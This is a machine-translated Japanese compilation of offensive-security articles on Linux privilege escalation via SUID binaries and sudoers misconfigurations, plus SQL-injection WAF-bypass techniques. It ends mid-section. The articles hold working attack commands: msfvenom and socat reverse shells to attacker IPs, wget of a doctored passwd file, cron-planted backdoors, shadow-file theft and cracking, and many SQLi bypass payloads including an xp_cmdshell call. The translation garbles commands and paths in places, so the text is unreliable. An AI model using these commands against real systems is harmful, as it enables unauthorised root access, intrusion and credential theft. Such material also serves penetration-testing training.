コピーしたファイルは、Webディレクトリの/var/www/htmのpasswdファイルです。そのため、Webブラウザーを介してアクセスしてダウンロードし、パスワードファイル全体をテキストファイルにコピーし、Root UID、GID、およびディレクトリ情報を使用して独自のユーザーを追加できます。

以前の記事では、OpenSSL PassWDユーティリティを使用してユーザー /ETC /PASSWDを追加する方法について説明しました。

puopshcg33b8892.jpg

Python HTTPサービスを別のサーバーで実行し、編集したPassWDファイルを被害者マシンに転送します。

python -m simplehttpserver 80

誰もが知っているように、 /TMPディレクトリにはすべてのファイルを作成または削除するためのすべての権限があるため、変更されたPassWDファイルはそのディレクトリの下にダウンロードされます。ダウンロードしたら、 /tmp /passwdファイルを /etc /passwdにコピーし、その結果、元のpasswdファイルを上書きします。

コマンドは次のとおりです。

CD /TMP

WGET http://192.168.1.108/passwd

cp passwd /etc /passwd

Tailコマンドの助けを借りて、追加したユーザーハックがユーザー情報を保存する /etc /passwdファイルであることを確認します。ルート特権を持つユーザーを追加したため、ルートディレクトリに移動します。

コマンドは次のとおりです。

テール-n 4/etc/passwd

su hack

おっと

ルートアクセス許可へのアップグレードを正常に確認できます。

wii4cnf0ar28893.jpg

2。 2番目の方法

同様に、CPコマンドのSUIDビットが有効になっている場合、ターゲットシステムにバックドアを送信することもできます。ここでは、MSFvenomコマンドを使用して、逆の接続のためにNATCATバックドアを生成します。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 r

rxvwd4hfzz28894.jpg

次に、上記のコードをコピーして、Bashファイルを編集してコンテンツを貼り付けてから、raj.shとして保存されているターゲットシステムに転送する準備をします。

uuu343guc538895.jpg

Linux Crontabユーティリティプランナーは、1時間ごと、毎日、毎週、毎月ファイルを実行しているため、raj.shが /etc /cron.hourlyディレクトリにコピーされていることがわかっています。 1時間後にRaj.shファイルを実行します。

コマンドは次のとおりです。

cp raj.sh /etc/cron.hourly/

ls -al /etc/cron.hourly/

ip532fqjjg38896.jpg

zwdcgxzmktu8897.jpg

一方、NetCatのリスニングを新しい端末で開始し、時間の経過とともにターゲットシステムのルートアクセス許可リバース接続を提供します。したがって、SUIDビットがオンになっている場合、単一のCPコマンドが許可エスカレーションを実行する方法を確認します。 CPコマンドを使用して、独自の方法でルートアクセス許可を増やすことができます。

0x02 [ファンド]コマンドを使用してアクセス許可をアップグレードします

同様に、findコマンドのsuidビットがオンになっている場合、ルートアクセス許可をアップグレードできます。たとえば、(システム管理者はFindコマンドにSUID権限を提供したいと考えています。次に、以下の手順に従ってその位置と現在の権限を決定することができます。また、権限を変更してSUIDビットを有効にすることができます。

見つけるもの

ls -al/usr/bin/find

chmod u+s/usr/bin/find

awrjyec02f48898.jpg

ターゲットシステムを再度攻撃し、上記の図に記載されているように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリをSUID権限で列挙できます。

/-perm-u=s-typef2/dev/null find

したがって、ここでは、コマンドにsuidビットが有効になっていることがわかります。つまり、findコマンドのコマンドを実行できます。最初に、空のファイル「Raj」を作成し、以下に示すようにWoamiコマンドを実行します。

ラジをタッチします

raj -exec 'hoami' \;

攻撃者が/usr/bin/findのsuidビットを正常に列挙した場合、Netcat bin/bashシェルコマンドなどの悪意のあるコマンド、または許可エスカレーションのために重要なシステム情報を取得できます。

1pnebs1vogu8899.jpg

0x03Use Vim for Permission Enhancement

同様に、VIMエディターのSUIDビットがオンになっている場合、ルート許可にアップグレードできます。たとえば、システム管理者がVIMエディターにSUID権限を提供したいとします。その後、以下の手順に従ってその位置と現在の権限を決定することができ、許可を変更してSUIDビットを有効にすることができます。

コマンドは次のとおりです。

どのvim

ls -al/usr/bin/vim

ls -al/usr/bin/altontatives/vim

chmod u+s/usr/bin/vim.basic

次の図に示すように、vim.basicにソフトリンクします。

lqkk13g5h4w8900.jpg

ターゲットシステムを再度攻撃し、上記の図に記載されているように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。

find/-perm -u=s -type f 2/dev/null

したがって、ここでは、/usr/bin/vim.basicに対してsuidビットが有効になっていることがわかっているため、sudoまたはrootユーザーがVIMを介して編集できるファイルを編集できます。

uso55ysqeig8901.jpg

VIMにはSUIDアクセス許可があるため、IGNITEは最小許可を持つ非ルートユーザーであることがわかっているため、SUDOERSファイルを編集してユーザーの「IGNITE」のアクセス許可を変更できます。したがって、図に示すように、Visudoコマンドを入力してSudoersファイルを開き、所有者の許可をユーザーに承認します。

IGNITEALL=(All:All)All iv4cnnjnuwm8902.jpg

次に、ルートディレクトリにアクセスしましょう。このトリックは、許可エスカレーションのために適切に使用することもできます。

次のコマンド:

sudo -l

sudo bash

id

olur1ketx2d8903.jpg

0x04保存されたスクリプトを使用してアクセス許可をアップグレードします

システムまたはプログラムで呼ばれるあらゆる種類のスクリプトを取得するには、許可の昇格の可能性が最も高く、PHP、Python、またはC言語スクリプトのスクリプトになります。システム管理者がCスクリプトにSUID権限を提供したいと仮定すると、スクリプトは実行時にバッシュシェルを提供します。そこで、ここでは、bashシェルのシステムを呼び出して「asroot.c」として保存するCプログラムを書きます。

1o14q1loerj8904.jpg

次に、 /biディレクトリにルートシェルディレクトリを作成し、asroot.cファイルをそのディレクトリにコピーし、GCCコンパイラを実行してコンパイルします。

mkdir /bin /rootshell

CD /BIN /ROOTSHELL

cp /home/raj/desktop/asroot.c。

ls

gcc asroot.c -oシェル

Chmod u+sシェル

ls -alシェル

exawaqomik58905.jpg

次に、ターゲットシステムを再度攻撃し、Findコマンドを使用して、SUIDアクセス許可を持つバイナリファイルを識別します。

/-perm-u=s-typef2/dev/null find

そこで、ここでは、SUIDビットがバイナリファイル用にリストされていることを知り始めますが、/bin/rootshell/shellに焦点を当てます。 /bin /rootshellディレクトリに移動してスクリプト「シェル」を実行すると、以下に示すようにルートアクセスが取得されます。

or1k5ge35nf8906.jpg

nda2cgldu3d8907.jpg

0x06 Nanoを使用した許可強化

同様に、SUIDビットがオンの場合、ルートアクセス許可をアップグレードできます。たとえば、システム管理者がNANOエディターにSUID許可を提供したいとします。次に、以下の手順に従って、その位置と現在の権限を決定できます。また、SUIDビットを許可を変更することで有効にできます。

次のコマンド:

どのナノ

ls -al /bin /nano

chmod u+s /bin /nano

cd3xprfbbqw8913.jpg

ターゲットシステムを再度攻撃し、上記のように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。

/-perm-u=s-typef2/dev/null find

そこで、/bin/nanoに対してsuidビットが有効になっていることを知り始めます。次に、openssl passwdを使用して、openssl passwdを使用します。

0ne0clegfrg8917.jpg

一方、OpenSSL PassWDを使用して、新しいユーザー名デモとパスワード123を追加します

mekfakfin208919.jpg

次に、NANOエディターを使用してPassWDファイルを開き、上記のように独自のユーザーを追加します。ここでは、暗号化されたパスワードを持つデモユーザーが被害者のシステムに作成されていることがわかります。

anvwcr3c0ok8920.jpg

SUデモ

id

4sp33smcdfv8921.jpg

/bin /nanoに対してsuidビットが有効になっている場合、 /etc /shadowファイルからパスワードを盗むことができます。したがって、ターゲットマシンを攻撃した後、Nanoエディターでシャドウファイルを開き、ユーザーの暗号化されたパスワードをコピーします:Raj。

m5dwzukkyx58922.jpg

次に、上記のコードをテキストファイルに貼り付け、デスクトップにハッシュとして保存してから、以下に示すようにジョンを使用してクラックします。すでにユーザー名Rajとパスワード123が生成されており、Rajアカウントを介してターゲットシステムにログインしようとしています。

vrfojuzqril8923.jpg

0x07その他のヒントのヒント

1.NMAPの古いバージョンのNMAP(2.02-5.21)には、ユーザーがシステムコマンドを実行できるインタラクティブがあります。権利を高める方法

nmap-インタラクティブ

次に、コマンドを実行します。

nmap!sh

SH-3.2#hoami

MSFのモジュールは次のとおりです。

Exploit/unix/local/setuid_nmap

2.ファインドチューチテスト

テスト-exec hoami \;

NCがサーバーにインストールされている場合、次のコマンドで直接聞くことができます。

テスト-exec netcat -lvp 5555 -e /bin /sh \;

次に、接続:

Netcat 192.168.1.100 5555

ルートシェルを取得できます

3.Vim/vi Open VimとPress ESC

:set shell=/bin/sh

:シェル

その後、コマンドを実行できます

4.Bashbash -P

bash-3.2#id

uid=1002(service)gid=1002(service)euid=0(root)groups=1002(service)

5.Less /etc /passwd

!/bin/sh

6。Moremore/home/pelle/myfile

!/bin/bash

7.cp

0x00はじめに

以前の記事では、suidバイナリファイルおよび /etc /etcwdファイルをLinux Permissions Enhancement Techniqueに使用する方法について説明しました。今日、別の「sudoersファイルを使用したLinux許可プロンプトのヒント」をリリースしました。 CTFの課題を解決するとき、許可のエスカレーションのために、sudo -lコマンドを実行して、任意のユーザーのルートアクセス許可を常に確認します。許可の強化のためにこの手法を適用した以前の記事を読むことができます。

0x01 sudoer basics

1。基本概念

Linux /unixでは、 /etcディレクトリの下のsudoersファイルはsudo許可を持つ構成ファイルです。私たちは皆、Sudoコマンドの力を知っています。Sudoという言葉はスーパーユーザーの許可を表しています。 Sudoersファイルは、ルート特権を持つユーザーとグループを保存するファイルであり、ルートまたは他のユーザーとして一部またはすべてのコマンドを実行します。以下の写真をご覧ください:

vlvu2iksaz48214.png

sudoでコマンドを実行するときは、ルート許可を実行する必要があり、LinuxはSudoersファイルの特定のユーザー名をチェックします。また、特定のユーザー名がSudoersファイルリストにあるかどうか、そうでない場合は、sudoコマンドを使用してコマンドまたはプログラムを実行することはできません。 Sudo許可によると、ルートユーザーはすべての端末から実行し、すべてのユーザーとして行動し、すべてのグループとして機能し、Allコマンドを実行できます。

2.Sudoerファイルの構文

(rootユーザー)が特定のユーザーにsudo許可を付与したい場合、bisudoコマンドを入力して、編集用のsudoersファイルを開きます。ユーザー許可仕様には、デフォルトのルート許可が表示されます。「root all=(all:all)all」が表示されますが、実際には、以下の図に示すように、オプションであるタグオプションも提供されます。

次の例を考慮して、ユーザーRaazにsudoアクセス許可を割り当て、raazが端末にアクセスし、ルートアクセス許可を使用してコピーコマンドを実行します。ここにはパスワードタグがありません。つまり、ユーザーにパスワードが要求されないことを意味します。

注:(すべて:すべて)は(すべて)として表現できます

代わりに(root)を見つけた場合(すべて:すべて)、それはユーザーがrootとしてコマンドを実行できることを意味します

ユーザーやグループが言及されていない場合、sudoはデフォルトでrootユーザーになります

nv0bwz4hz0l8215.png

実際の状況をより深く理解しましょう。まず、Sudoグループに属さないユーザーを作成します。ここでは、1002のUIDと1002のGIDを持っているユーザー「Raaz」を追加しました。

nwalsntafse8217.png

0x02ルート許可を割り当てるメソッド

1。ルート許可を割り当てる従来の方法

システム管理者がユーザーRAAZにすべてのアクセス許可を与えたい場合、以下の手順に従ってユーザーの許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=(all:all)すべて

または

raazすべて=(すべて)すべて

c4tm0zsu3pz8219.png

一方、

(1)ルートアクセスを生成

攻撃ホストを起動し、最初にターゲットシステムを攻撃し、次に特権エスカレーション段階に入ります。 SSHを介して被害者のホストに正常にログインし、現在のユーザーのsudo許可を知り、次のコマンドを実行したいとします

sudo -l

従来の方法では、PassWDオプションは、上記のコマンドの実行中にユーザー認証を有効にし、NOPASSWDオプションを使用して無効にすることができます。強調表示されたテキストは、現在のユーザーが実行する権限があるというすべてのコマンドを示します。したがって、コマンドを実行することにより、ルートアクセスを取得します。

sudo su

id

za030f1imwa8221.png

2。ルート権限を割り当てるためのデフォルトの方法

システム管理者がユーザーRAAZにすべてのコマンドとプログラムを実行するためにルートアクセス許可を付与したい場合、以下の手順に従ってユーザー許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=all

または

raaz all=(root)all

デフォルトのPassWDオプションは、認証のためにここでも有効になっています。

j0ziwxoxq3i8225.png

(1)。ルートアクセスを生成

ターゲットシステムをもう一度攻撃し、上記の手順に従って許可エスカレーション段階を入力し、次のコマンドを実行してsudoユーザーリストを表示します

sudo -l

ここでは、ユーザーRaazがすべてのコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、より多くのダウンリンクステップを実行することでルートアクセスを実装できます

Sudosu

または

sudobash

注:SUDO-Lコマンドを実行する場合、上記の両方のメソッドは、PassWDオプションがデフォルトで有効になっているため、ユーザーパスワードを認証する必要があります。

mfr201pkxms8228.png

0x03パワーアップスキル

1。バイナリコマンドのルートアクセス許可を許可します

ユーザーが、/bin/cp、/bin/cat、または/usr/bin/findなどの特定のディレクトリ内のファイルまたはコマンドを実行する権利を持つ場合があります。このタイプの許可は、ルート許可の特権エスカレーションにつながります。これは、次のステップで達成できます。

raaz all=(root)nopasswd:/usr/bin/find

注:ここでのnopasswdオプションは、sudo -lコマンドを実行するときにパスワードが認証を要求されないことを意味します。

2ffd2ol1ycf8229.png

(1)findコマンドを使用してルートアクセスを生成

被害者のシステムを再度攻撃し、特権エスカレーションフェーズに入ります。次のコマンドを実行して、sudoユーザーリストを表示します。

sudo-l

この時点で、強調表示されたテキストは、ユーザーRAAZがFindコマンドを介して任意のコマンドを実行できることを意味することに気付くことができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudofind/home-exec/bin/bash \;

id

ttshrpboy128231.png

2。バイナリプログラムのルート許可を許可

時々、管理者は特定のユーザーに詳細なユーザーに、ユーザーが /etc /passwdなどのシステムファイルを編集できるバイナリプログラムを実行するために、ユーザーに承認された場合、ユーザーに承認された場合、一部のバイナリプログラムは特権エスカレートにつながる可能性があります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。 raaz all=(root)nopasswd:/usr/bin/perl、/usr/bin/python、/usr/bin/less、/usr/bin/awk、/usr/bin/man、/usr/bin/vi

woeln010ng18232.png

(1)Perl単一コマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

これで、ユーザーRaazがPerl言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、Perlシングルコマンドを実行することにより、ルートアクセスを取得します。

sudo perl -e 'exec'/bin/bash ';'

id

e1ewojyl3b28233.png

(2)Pythonシングルコマンドを使用してシェルを生成

ターゲットシステムを攻撃した後、上記のように特権エスカレーションフェーズに入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この時点で、ユーザーRaazがPython言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、単一のPythonコマンドを実行することにより、ルートアクセスを取得します。

sudo python -c 'インポートpty; pty.spawn('/bin/bash ')'

id

xlw1uqwtixo8235.png

(3)少ないコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

tyme3zoev3m8236.png

ここでは、ユーザーRaazがLootとしてLess Commandを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

Sudo Less /etc /hosts

rjstdj1urwo8237.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

次の図に示すように、ルートアクセスが得られます。

(4)awk単一コマンドを使用してシェルを生成します

被害者システムを攻撃した後、ターゲットシステムは上記のように特権エスカレーション段階に入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この段階では、ユーザーRaazがawkコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo awk 'begin {system('/bin/bash ')}'

id

5itin0bqpx38238.png

(5)Manコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがrootユーザーとしてManコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo man

jff1d5qjzkz8239.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

vspgd5gyiic8240.png

次の図に示すように、ルートアクセスが得られます。

5tfswerhal38241.png

(6)VIエディターを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがRootユーザーとしてVIコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo vi

bvpkvnzvltj8242.png

したがって、編集のためにVIエディターを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。上記のようなルートアクセス許可を取得するには、コマンド以下を使用できます。

s1l3bhsfayp8243.png

次の図に示すように、ルートアクセスが得られます。

id

おっと

注:NANO、MAN、VI、およびMan's Sudoへの許可は、ユーザーがシステムファイルを編集し、許可エスカレーションにつながるため、非常に危険です。

lyio50p0sg58244.png

3

システムまたはプログラムの呼び出しについては、あらゆる種類のスクリプト(BASH、PHP、Python、またはC言語スクリプト)の許可を昇格させる最大の機会があります。実行時にバッシュシェルを提供するスクリプトにsudo許可をsudo許可を与えたいと仮定します。

たとえば、実行時にルートコマンド端子を提供するスクリプトがいくつかあります。以下の図では、さまざまなプログラミング言語を使用してBIN/スクリプトに3つのファイルすべてを保存して、バッシュシェルを取得する3つのプログラムを作成したことがわかります。 3つのファイルは、asroot.py、asroot.sh、asroot.c(コンパイルファイルシェル)です。

注:OSCPの課題を解決する場合、一部のスクリプトは著者によって隠され、カーネルまたはルートシェルを活用するために使用され、特定のユーザーがスクリプトを実行するためにsudo許可を設定することがわかります。

3e4ktzwdz4m8245.png

次のコマンドの助けを借りて、sudoersファイルを編集して、Raazが上記のすべてのスクリプトをルートユーザーとして実行できるようにします。

raaz all=(root)nopasswd:/bin/script/asroot.sh、/bin/script/asroot.py、/bin/script/shell

4e3mv1anp1w8246.png

(1)bashスクリプトを実行してルートシェルを生成

SUDOユーザーリストを表示するには、次の許可標高コマンドを実行します。

sudo -l

強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.shを実行できることを示しています。したがって、asroot.shスクリプトを実行することにより、ルートアクセスを取得します。

sudo /bin/script/asroot.sh

id

nv1vakfefvi8247.png

(2)pythonスクリプトを実行してルートシェルを生成

次の許可標高コマンドを実行して、sudoユーザーリストを表示します

sudo -l

この時点で、強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.pyを実行できることを示しています。したがって、次のスクリプトを実行することにより、ルートアクセスを取得しました。

sudo /bin/script/asroot.py

id

bzc33mxba038248.png

(3)Cスクリプトを実行してルートシェルを生成

ターゲットシステムを攻撃した後、次の許可エスカレーションコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがroot(asroot.cコンパイルされたファイル)としてシェルを実行できることを示す強調表示されたテキストを見ることができます。そのため、次のシェルを実行することでルートアクセスを獲得します。

sudo/bin/script/shell

id

az3dspdggxt8249.png

4。他のプログラムにsudo許可を許可します

上記のように、sudo許可を持ついくつかのバイナリプログラムは、ルートアクセスを得るのに役立ちます。しかし、それに加えて、FTPやSOCATなどのsudo許可がある場合、ルートアクセスで存続できるアプリケーションがいくつかあります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。

raaz all=(all)nopasswd:/usr/bin/env、/usr/bin/ftp、/usr/bin/scp、/usr/bin/socp、/usr/bin/socat

llctkmohqz18250.png

(1)環境を使用してシェルを生成

許可エスカレーションフェーズでは、次のコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ご覧のとおり、RaazにはENV、FTP、SCP、SOCATへのSUDO許可があります。ルートアクセスを1つずつ紹介してみましょう。

sudo env /bin /bash

おっと

vrezzjkwrau8251.png

(2)FTPを使用してシェルを生成

次のコマンドを使用して、FTP経由でルートアクセスを取得してみましょう。

sudo ftp

! /bin/bash

おっと

または

! /bin/sh

id

おっと

zuwdwr4dvwa8252.png

(3)socat

を使用してシェルを生成します

ここで、SOCATを介して次のコマンドの助けを借りてルートアクセスを取得してみましょう。攻撃者の端末で次のコマンドを実行して、リスナーが逆の接続を作成できるようにします。

socat file:`tty`、raw、echo=0 tcp-listen:1234

次に、被害者のホストで次のコマンドを実行すると、攻撃者のコンピューターにルートアクセスが表示されます。

sudo socat exec:'sh -li '、pty、stderr、setsid、sigint、SANE TCP:192.168.1.105:1234

kda0p31ixhd8253.png

o4zfeni0f1l8254.png

(4)SCP

を介してシェルを生成します

私たちが知っているように、SUDO許可はSCPで利用可能ですが、地元のホストとリモートホストの間でファイルを安全に移動する方法であるため、上記のようにBash Shellディレクトリを取得することはできません。したがって、それを使用して、/etc/passwdや/etc/etc/shadowファイルなどの読み取り/書き込み操作を実行するためにルートアクセスを必要とするシステムファイルを転送できます。

構文:scp sourcefile user@host:〜/ディレクトリパス

sudo scp /etc /passw

一部の友人は、グループでのSQL注射の問題に遭遇することがよくあります。時々WAFがあり、時には盲目で、時には始める方法がわからないこともありますか?今日はスーパーインジェクションツールの名前とツールを共有しています

住所をダウンロード:https://github.com/shack2/supersqlinicturev1

ケース1: WAFを使用したブラインドノート

qlicmp4hmuz3500.png

以下の図に示すように、単一の引用は報告されたエラーを報告し、エラーはエコーします。この状況は、典型的なブールブラインドノートです。 1=1またはまたは1=1などのステートメントを作成できる限り、データを作成できます。

agpjxmg1cnq3501.png

以下はMySQLデータベースです。これは、通常、Booleanを注入する機能の場合に使用されるために使用されます。 WAFは通常、単一のif()をブロックしませんが、if(1,1,1)のようなif(1,1,1)をブロックします。ブロックされている場合は、1を11〜10、2で12-10に置き換えることができます。

hqfpejb4m1j3502.png

5fifeua5xwi3503.png

次に、スーパーインジェクションツールにシャトルを使用してください。

bopkbocfn2z3504.png

WAFルールをバイパスすることは次のとおりです。比較的簡単です

g1ppotqtf4q3505.png

ケース2:

ケース1で構築されたものは、スーパーインジェクションツールのページで返されるコンテンツを識別し、1=1の正しいページフィールドと1=2の間違ったページのフィールドを決定することです。通常のツールは注入点を認識できないため、フィールドを指定し、ツールにブールインジェクションの基礎を与える必要があります!

別の例を見てみましょう。私が意味することを理解できることを願っています。

次の図はまだmysqlであり、ifを正常に構築する

ruyctvy1usu3506.png

zffinicjro33507.png

メッセージはスーパーインジェクションツールに貼り付けられます。このツールは、ブラインドベットをテストするときに1=1および1=2のみをテストします。したがって、ifの最初の位置でペイロードを設定し、右下隅のボックスを見て、正しいページのエコー値が識別されました。その後、データが出てきます!

ppmv14xyhgc3508.png

ケース3:

これがMSSQLタイプです、

つまり、SQL-SERVER。サイトにはWAFがあります。インターセプトせずにテストまたは1=1および1=2。 1=1を使用して、データパケットを作成します。 SQLインジェクションツールは、ブール値を認識できます。

uy4br54tnpp3509.png

次に、データのブレーンストーミングはありません。

s2g5vtwgn1r3510.png

元の接続:https://mp.weixin.qq.com/s/jrv1zljz3ibtlorcxwdo-q

SQL注入でWAFをバイパスする9つの方法

0x01はじめに

WAFは従来のファイアウォールとは異なります。WAFは特定のWebアプリケーションのコンテンツをフィルタリングできるのに対し、従来のファイアウォールはサーバー間の防御ゲートとして機能します。 HTTPトラフィックをチェックすることにより、SQLインジェクション、クロスサイトスクリプト(XSS)、ファイル包含、セキュリティ構成エラーなどのブロッキングなどのWebアプリケーションセキュリティの脆弱性から保護できます。

0x02 WAF作業原理

§例外プロトコルの検出:HTTP標準に準拠していないリクエストを拒否する

§入力検証の強化:クライアント側の検証だけでなく、プロキシとサーバー側の検証

§ホワイトリストとブラックリスト

§ルールベースと例外保護:ルールベースのメカニズムは、より黒ベースで柔軟な例外です

§国家管理:防衛セッション保護(Cookie保護、反侵入回避技術、対応監視、情報開示保護)。

0x03バイパスwaf

1。Casechangeの混合悪意のある入力トリガーWAF保護をトリガーし、WAFがケースに敏感なブラックリストを使用している場合、このフィルターをバイパスする可能性があります。

http://target.com/index.php?page_id=15ユニオン選択1,2,3,4

2。キーワードを交換します(wafで削除される特殊文字を挿入)---選択は、選択する場合があります。特殊文字が削除されると、Selectで実行されます。

http://Target.com/index.php?page_id=15nbsp; uniunionon selselectect 1,2,3,4

3。エンコードpage.php?id=1%252f%252a*/union%252f%252a

/選択

ヘキサデシマルエンコーディング:Target.com/index.php?page_id=15

/*!u%6eion*//*!se%6cect*/1,2,3,4…select(extractvalue(0x3c613e61646d696e3c2f613e、0x2f61))

:id=10%d6 '%20and%201=2%23選択

'ä'='a'; #1

4。攻撃文字列にコメントを使用します------コメントを挿入します。例えば/*! select */はWAFで無視される場合がありますが、ターゲットアプリケーションに渡されると、MySQLデータベースによって処理されます。

index.php?page_id=-15

%55NION/**/%53Elect 1,2,3,4

'Union%A0Select Pass fromユーザー#

index.php?page_id=-15

/*!Union*//*!Select*/1,2,3

?page_id=null%0a/** //*!50000%55nion*//*yoyu*/all/**/%0a/*!%53Elect*/%0a/*nnaa*/+1,2,3,4…

5。同等の機能とコマンド---キーワード検出のためにいくつかの関数またはコマンドを使用することはできませんが、多くの場合、同等または類似のコードを使用できます。

hex()、bin()==

ascii()

sleep()==benchmark()

concat_ws()==group_concat()

substr((select 'password')、1,1)

=0x70

strcmp(左( 'パスワード'、1)、

0x69)=1

strcmp(左( 'パスワード'、1)、

0x70)=0

strcmp(左( 'パスワード'、1)、

0x71)=-1

mid()、substr()

==substring()

@@ user==user()

@@ datadir==datadir()

5。特別なシンボル----特別なシンボルには、特別な意味と使用法があります

+ `symbol: select` version() `;

++-:Select+ID-1+1.ユーザーから。

+ @:Select @^1.Fromユーザー;

+mysql function()as xxx

+ `、〜、 @、%、()、[]、 - 、 +、|、%00

例:

'se'+'lec'+’t'

%s%e%l%e%c%t 1

1.aspx?id=1; exec( 'ma'+'ster.x'+'p_cm'+'dsh'+'ell

「ネットユーザー」 ')

'または - +2= - !' 2

id=1+(uni)(on)+(sel)(ect)

7。HTTPパラメーター汚染------複数のパラメーター=値を視聴およびバイパスするために値の値を提供します。 http://example.com?id=1?d='または' 1 '=' 1 ' - ' - 'in(例えば、Apache/PHPを使用する)を考えると、アプリケーションは最後の(2番目の)ID=のみを解析し、WAFは最初のID=のみを解析します。これは合理的な要求のように思えますが、アプリケーションは依然として悪意のある入力を受信して処理します。今日のほとんどのWAFは、HTTPパラメーター汚染(HPP)の影響を受けませんが、まだ試してみる価値があります。

hpp(httpパラメーター分析): /?id=1; select+1,2,3+from+users+where+id=1—

/?id=1; select+1amp; id=2,3+from+users+where+id=1—

/?id=1/**/union/*amp; id=*/select/*amp; id=*/pwd/*amp; id=*/from/*amp; id=*/usershppは繰り返しパラメーター公害としても知られています。

=3。この場合、異なるWebサーバーは次のように処理します:ozm4g4gd2cx9096.gifHPF(HTTPパラメーターセグメンテーション):この方法は、CRLFと同様のHTTPセグメンテーションインジェクションです(コントロール文字0A、%0Dなどを使用します。

/?a=1+union/*amp; b=*/select+1、pass/*amp; c=*/from+users--

a=1から *を選択します

Union/*およびb=*/select 1、pass/* limit*/fromユーザー -

HPC(HTTPパラメーター汚染):

RFC2396は次の文字を定義します。

unsurved: a-z、a-z、0-9および_。 〜 * '()

予約済み: /? @ amp;

=+ $、

賢明な: {} | \ ^ [] `

異なるWebサーバー処理プロセスには、特別なリクエストの構築時に異なるロジックがあります。マジック文字のための32kbuxpwmsl9097.gif%ASP/ASP.NETは影響を受けますpev4h2jgroh9098.gif

8。バッファオーバーフロー--- WAFは常にアプリケーションであり、他のアプリケーションと同じソフトウェアの欠陥を受けやすい。バッファオーバーフローの脆弱性が発生した場合、コードの実行を引き起こさない場合でも、WAFがクラッシュする可能性があります。WAFが適切に実行される可能性があります。

?id=1および(select 1)=(select

0xa*1000)+Union+Select+1,2、version()、4,5、database()、user()、8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9.統合統合とは、さまざまなバイパス技術を使用することを意味します。単一のテクノロジーはフィルタリングメカニズムをバイパスできない場合がありますが、さまざまなテクノロジーを使用してそれらを混合する可能性が大きくなります。

Target.com/index.php?page_id=15+and+ (Select

1)=([0xaa]を選択します[.(約1000を追加します

'a').])+/*!union*/+/*!select*/+1,2,3,4…

id=1/*!union*/+select+1,2、concat(/*!table_name*/)+from

/* information_schema*/.tables/*!where*/+/*!table_schema*/+like+database() -

?id=-725+/*!union*/+/*!select*/+1、group_concat(column_name)、3,4,5+from+/*!Information_schem*/。columns+where+table_name=0x41646d696e------

参照リンク:https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/

wiz_tmp_tag id='wiz-table-range-border' contentedable='false' style='display: none;'

0x00原因

実際の場合、注射に遭遇しました。 SQLMAPを使用できますが、時間と周波数の制限に基づく注入には、-delayパラメーターの使用が必要です。それは遅延であり、 - 遅延とその他の疲労です。以下のすべての紹介で、SQLMAPを使用してDNSを使用してOOB(バンド)を注入してデータを迅速に出力します。通常、Windows Platform nccgq0pzsa59088.pngにのみ適用されます

0x01シーン

このような注入シナリオに遭遇しましたか? 1.時間の失明、データベース、テーブル、フィールドのコンテンツは非常に大きく、花も薄れています。 2。MySQL5.6+はMySQLIまたはPDO接続法のみを使用でき、PDO接続を使用することをお勧めします。 PDO接続法を使用して複数のステートメントを実行できますが、PDOは最初のSQLステートメントの実行結果のみを返すため、データを直接取得することは一般に不可能であり、目に見えるフィールドまたは睡眠注入を強制されます3。テストはインターセプトしてフィルタリングされず、実行が成功したと感じましたが、返されたデータは受信されませんでした(コマンドを実行できるときにファイルをWebディレクトリに書き込むこともできます)

0x02原則

